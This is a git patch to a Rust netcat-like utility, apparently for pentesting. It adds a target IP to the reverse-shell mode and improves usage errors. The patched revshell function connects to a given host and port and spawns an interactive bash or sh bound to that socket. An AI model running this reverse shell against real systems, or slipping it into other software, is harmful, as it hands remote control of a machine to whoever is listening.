From 9d6b63fb897ddbbb90d745772bc3362c83a64255 Mon Sep 17 00:00:00 2001
From: robiot <robiot@users.noreply.github.com>
Date: Sat, 7 Aug 2021 15:41:24 +0300
Subject: [PATCH] :bug: Fixed Reverse Shell Ip & Better Errors

---
 .gitignore  |  3 ++-
 src/main.rs | 46 ++++++++++++++++++++++++++++++++++------------
 2 files changed, 36 insertions(+), 13 deletions(-)

diff --git a/.gitignore b/.gitignore
index af106e2..5af0d4a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,2 +1,3 @@
 /target
-/package-env
\ No newline at end of file
+/package-env
+/site
\ No newline at end of file
diff --git a/src/main.rs b/src/main.rs
index 02252ed..429e4d1 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -56,7 +56,7 @@ fn print_error(err: &str) {
     );
 }
 
-/* Print when connection recieved */
+/* Print when started listening */
 fn print_started_listen(opts: &Opts) {
     println!(
         "Listening on {}{}{}:{}{}{}",
@@ -69,6 +69,20 @@ fn print_started_listen(opts: &Opts) {
     );
 }
 
+// Commented, becuase I dont know if this will work in non terminal enviroments
+/* Print when reverse shell started */
+/*fn print_started_revshell(ip: String, port: String) {
+    println!(
+        "Started Reverse Shell on {}{}{}:{}{}{}",
+        color::Fg(color::LightGreen),
+        ip,
+        color::Fg(color::Reset),
+        color::Fg(color::LightCyan),
+        port,
+        color::Fg(color::Reset)
+    );
+}*/
+
 /* Piped thread */
 fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
 where
@@ -199,7 +213,7 @@ fn listen(opts: &Opts) -> std::io::Result<()> {
 }
 
 /* Open A Sh/Bash Reverse Shell */
-fn revshell(port: String, shell: String){
+fn revshell(ip: String, port: String, shell: String){
     // Limit to just these 
     if shell != "bash" && shell != "sh"
     {
@@ -207,19 +221,22 @@ fn revshell(port: String, shell: String){
         return;
     }
 
-    let full: String = ["0.0.0.0", &port].join(":");
-    
+    let full: String = format!("{}:{}", ip, port);
     let socket = Socket::new(Domain::ipv4(), Type::stream(), None).unwrap();
 
     match socket.connect(&full.parse::<SocketAddr>().unwrap().into()) {
         Ok(_) => {}
-        Err(err) => print_error(&err.to_string())
+        Err(err) => {
+                print_error(&err.to_string());
+                return;
+            }
     }
 
     let s = socket.into_tcp_stream();
-
     let fd = s.as_raw_fd();
 
+    //print_started_revshell(ip, port);
+
     // Open shell
     Command::new(format!("/bin/{}", shell))
         .arg("-i")
@@ -231,7 +248,6 @@ fn revshell(port: String, shell: String){
         .wait()
         .unwrap();
 
-
     println!("Shell exited");
 }
 
@@ -269,19 +285,24 @@ fn main() {
 
     // Reverse Shell
     if matches.opt_present("r") {
+        let opt_host: String;
         let opt_port: String;
         let opt_shell: String;
 
-
         if matches.free.len() == 2 && matches.opt_present("p") {
+            opt_host = "0.0.0.0".to_string();
             opt_port = matches.free[0].to_string();
             opt_shell = matches.free[1].to_string();
+        } else if matches.free.len() == 3 {
+            opt_host = matches.free[0].to_string();
+            opt_port = matches.free[1].to_string();
+            opt_shell = matches.free[2].to_string();
         } else {
-            print_help(&program, opts);
+            print_error("Invalid Reverse Shell Mode Usage [ip] [port] [shell]");
             return;
         };
         
-        revshell(opt_port, opt_shell);
+        revshell(opt_host, opt_port, opt_shell);
         return;
     }
 
@@ -292,8 +313,9 @@ fn main() {
         } else if matches.free.len() == 2 {
             (matches.free[0].as_str(), matches.free[1].as_str())
         } else {
-            print_help(&program, opts);
-            ("", "")
+            print_error("Invalid Listen Mode Usage [ip] [port]");
+            ("", "");
+            return;
         };
 
         let opts = Opts {